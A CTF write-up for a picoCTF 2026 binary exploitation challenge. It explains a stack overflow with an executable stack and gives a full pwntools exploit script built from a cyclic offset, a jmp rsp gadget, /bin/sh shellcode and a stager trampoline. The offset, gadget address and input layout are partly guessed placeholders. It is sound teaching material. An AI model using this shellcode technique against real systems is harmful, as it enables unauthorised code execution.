┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
offset-cycle V2 — picoCTF 2026
~ Imattas aka Zemi
 Category: Binary Exploitation
 Difficulty: Hard
 Points: 400
 Author: Imattas aka Zemi

────────────────────────────────────────────────────────────────────────────────

--[ Challenge Description ]--

 It's a race against time. Solve the binary exploit ASAP. (V2 of offset-cycle -
harder version with additional protections)

────────────────────────────────────────────────────────────────────────────────

--[ Recon / Initial Analysis ]--

This is the harder sequel to offset-cycle. Like V1, it is a buffer overflow
challenge where you must use cyclic patterns to find the exact offset to
overwrite the return address. However, V2 introduces additional protections that
make a simple return-to-win approach insufficient.

:: Binary Analysis

Key properties of the binary (determined via checksec):

- No PIE: The binary loads at a fixed base address, so addresses are
deterministic.
- NX disabled: The stack is executable, meaning we can place and execute
shellcode directly. This is the critical difference -- instead of jumping to a
win function, we write and execute shellcode.
- No stack canary: Buffer overflows are directly exploitable without needing to
leak or brute-force a canary.
- No RELRO or Partial RELRO: GOT is writable, though not needed for this
exploit.

:: What Changed from V1

In V1, the binary had a simple win function to return to. In V2:

1. There is no win function -- you must get a shell via shellcode or ROP to
system("/bin/sh").
2. NX is disabled, which means the stack is executable and shellcode is the
intended path.
3. The binary may have multiple input stages (e.g., a "message" field and a
"feedback" field), requiring careful placement of the shellcode and the
overflow.
4. The offset may differ from V1 due to different buffer sizes or stack layouts.

────────────────────────────────────────────────────────────────────────────────

--[ Vulnerability / Observation ]--

The unbounded stack overflow remains, but with no win function and an executable
stack the intended path is shellcode execution. Because PIE is disabled, a jmp
rsp (or call rax) gadget lives at a fixed address and lets us redirect execution
onto the stack where our shellcode sits.

:: Exploitation Strategy

1. Find the offset: Use pwntools cyclic() to generate a De Bruijn sequence and
determine the exact offset to overwrite the saved return address (RIP). Based on
analysis, the offset for V2 is typically around 24 bytes (compared to V1's
smaller offset).
2. Locate a useful gadget: Since PIE is disabled, we can use ROPgadget to find a
jmp rsp or call rax gadget at a fixed address. This gadget lets us redirect
execution to our shellcode on the stack.
3. Craft the shellcode: Use pwntools shellcraft.sh() to generate a compact
/bin/sh shellcode. If the shellcode is too large for the overflow buffer, use a
two-stage approach:
  - Place the main shellcode in an earlier input (e.g., a "message" or "name"
field).
  - Place a small stager (trampoline) at the overflow point that adjusts RSP and
jumps to the main shellcode.
4. Build the payload: padding + gadget_address + stager/shellcode.
5. Automate: The "race against time" hint means the remote service has a short
timeout, so the exploit must be fully automated.

:: The Stager Technique

When the overflow buffer is small, we use a stager -- a tiny piece of shellcode
placed right after the overwritten return address:
-- nasm --
nop
sub rsp, 0x300    ; Move RSP back to where our main shellcode lives
jmp rsp           ; Jump to it
When we overwrite RIP with a jmp rsp gadget, execution lands right after the
return address on the stack, hitting our stager. The stager then jumps backward
to the main shellcode placed earlier in memory.

────────────────────────────────────────────────────────────────────────────────

--[ Exploitation / Solution ]--

:: Step 1: Find the offset with cyclic patterns
-- python --
from pwn import *
context.binary = ELF('./vuln')
r = process('./vuln')
r.sendline(cyclic(200))
r.wait()
core = r.corefile
offset = cyclic_find(core.fault_addr & 0xffffffff)
log.info(f"Offset: {offset}")
:: Step 2: Find a JMP RSP or CALL RAX gadget
-- bash --
ROPgadget --binary vuln | grep "jmp rsp\|call rax"
Since PIE is disabled, this address is constant.

:: Step 3: Generate shellcode
-- python --
shellcode = asm(shellcraft.sh())
:: Step 4: Build the two-stage payload

If there are two input prompts:

- First input (message): Contains the main shellcode (padded with NOPs).
- Second input (feedback): Contains padding + jmp_rsp_addr + stager_shellcode.

The stager:
-- python --
stager = asm("""
    nop
    sub rsp, 0x300
    jmp rsp
""")
:: Step 5: Send and get a shell
-- python --
r.sendline(payload1)
r.sendline(payload2)
r.interactive()
Then cat flag.txt from the shell.

────────────────────────────────────────────────────────────────────────────────

--[ Full Exploit Script ]--
-- python --
#!/usr/bin/env python3
"""
offset-cycleV2 - picoCTF 2026
Category: Binary Exploitation | Points: 400

Exploit: Buffer overflow with shellcode execution.
V2 has no win function, but NX is disabled so the stack is executable.
We use a cyclic pattern to find the offset, a jmp rsp gadget to
redirect execution, and a two-stage shellcode approach.

Usage:
    python3 solve.py [REMOTE]
    python3 solve.py              # run locally against ./vuln
    python3 solve.py REMOTE       # run against the remote server
"""

from pwn import *
import sys

# ============================================================
# CONFIGURATION - Update these values for your instance
# ============================================================
BINARY = "./vuln"
REMOTE_HOST = "rescued-float.picoctf.net"  # Update with actual host
REMOTE_PORT = 54321                         # Update with actual port

# Offset from buffer start to saved RIP (found via cyclic pattern)
# Adjust this if the exploit doesn't work -- try values 20-32
OFFSET = 24

# Address of a 'jmp rsp' gadget (find with: ROPgadget --binary vuln | grep "jmp rsp")
# Since PIE is disabled, this address is fixed. Update for your binary.
JMP_RSP_ADDR = 0x40101a  # Placeholder -- update after running ROPgadget

# ============================================================
# HELPERS
# ============================================================

def find_offset_auto():
    """Automatically find the offset using cyclic pattern and core dump."""
    log.info("Finding offset automatically via cyclic pattern...")
    try:
        r = process(BINARY)
        r.sendline(cyclic(200, n=8))
        r.wait()
        core = Corefile(r.corefile.path)
        off = cyclic_find(core.fault_addr & 0xffffffff, n=4)
        if off == -1:
            # Try 8-byte pattern for 64-bit
            off = cyclic_find(core.read(core.rsp, 4), n=4)
        log.success(f"Found offset: {off}")
        return off
    except Exception as e:
        log.warning(f"Auto offset detection failed: {e}")
        log.info(f"Using default offset: {OFFSET}")
        return OFFSET


def find_jmp_rsp(elf):
    """Search for a jmp rsp gadget in the binary."""
    # jmp rsp = ff e4
    jmp_rsp_bytes = b"\xff\xe4"
    addr = next(elf.search(jmp_rsp_bytes), None)
    if addr:
        log.success(f"Found 'jmp rsp' gadget at: {hex(addr)}")
        return addr

    # Try call rax = ff d0
    call_rax_bytes = b"\xff\xd0"
    addr = next(elf.search(call_rax_bytes), None)
    if addr:
        log.success(f"Found 'call rax' gadget at: {hex(addr)}")
        return addr

    log.warning("No jmp rsp / call rax gadget found, using configured address")
    return JMP_RSP_ADDR


def start(argv=[], *a, **kw):
    """Start the exploit target (local or remote)."""
    if args.REMOTE or "REMOTE" in sys.argv:
        return remote(REMOTE_HOST, REMOTE_PORT)
    else:
        return process([BINARY] + argv, *a, **kw)


# ============================================================
# EXPLOIT
# ============================================================

def exploit():
    context.update(arch="amd64", os="linux", log_level="info")

    # Load the binary if it exists locally
    try:
        elf = ELF(BINARY, checksec=True)
        context.binary = elf
        gadget_addr = find_jmp_rsp(elf)
    except Exception:
        log.warning(f"Could not load {BINARY}, using configured addresses")
        gadget_addr = JMP_RSP_ADDR

    offset = OFFSET

    # Main shellcode: execve("/bin/sh", NULL, NULL)
    shellcode = asm(shellcraft.sh())
    log.info(f"Shellcode size: {len(shellcode)} bytes")

    # Stager: small trampoline that jumps back to our main shellcode
    # This goes right after the overwritten return address on the stack.
    # When jmp rsp executes, it lands here.
    stager = asm("""
        nop
        sub rsp, 0x300
        jmp rsp
    """)
    log.info(f"Stager size: {len(stager)} bytes")

    # --- Connect to the target ---
    io = start()

    # -------------------------------------------------------
    # Strategy A: Two-input approach (message + feedback)
    # If the binary has two input prompts, put shellcode in
    # the first and the overflow + stager in the second.
    # -------------------------------------------------------
    try:
        # First input: main shellcode (NOP sled + shellcode)
        nop_sled = asm("nop") * 64
        payload1 = nop_sled + shellcode

        # Try to detect if there's a prompt
        data = io.recvuntil(b":", timeout=2)
        log.info(f"Received prompt: {data}")
        io.sendline(payload1)

        # Second input: overflow to overwrite RIP
        data = io.recvuntil(b":", timeout=2)
        log.info(f"Received prompt: {data}")

        # padding + jmp_rsp gadget + stager
        payload2 = b"A" * offset + p64(gadget_addr) + stager
        io.sendline(payload2)

    except EOFError:
        log.warning("Two-input approach failed, trying single-input approach...")
        io.close()
        io = start()

        # -------------------------------------------------------
        # Strategy B: Single-input approach
        # Shellcode sits right after the gadget address on the stack.
        # jmp rsp lands on our shellcode directly.
        # -------------------------------------------------------
        data = io.recvuntil(b":", timeout=2)

        payload = b"\x90" * offset + p64(gadget_addr) + shellcode
        io.sendline(payload)

    # --- Interact with the shell ---
    log.success("Exploit sent! Attempting to get flag...")

    try:
        # Try to automatically read the flag
        io.sendline(b"cat flag.txt")
        flag_output = io.recvline(timeout=3)
        if b"picoCTF" in flag_output:
            log.success(f"FLAG: {flag_output.decode().strip()}")
    except Exception:
        pass

    # Drop into interactive mode for manual exploration
    io.interactive()


if __name__ == "__main__":
    exploit()
────────────────────────────────────────────────────────────────────────────────

--[ Key Takeaways ]--

- When the binary has no win function but NX is disabled, the intended path
shifts from return-to-win to placing and executing shellcode on the executable
stack.
- A jmp rsp (or call rax) gadget at a fixed No-PIE address is the bridge from a
corrupted return address to shellcode sitting on the stack.
- When the overflow buffer is too small for full shellcode, a tiny stager (sub
rsp, 0x300; jmp rsp) can trampoline back to a larger payload placed in an
earlier input field.
- pwntools shellcraft.sh() + asm() produce /bin/sh shellcode quickly, and the
cyclic-pattern workflow still finds the offset (≈24 bytes here).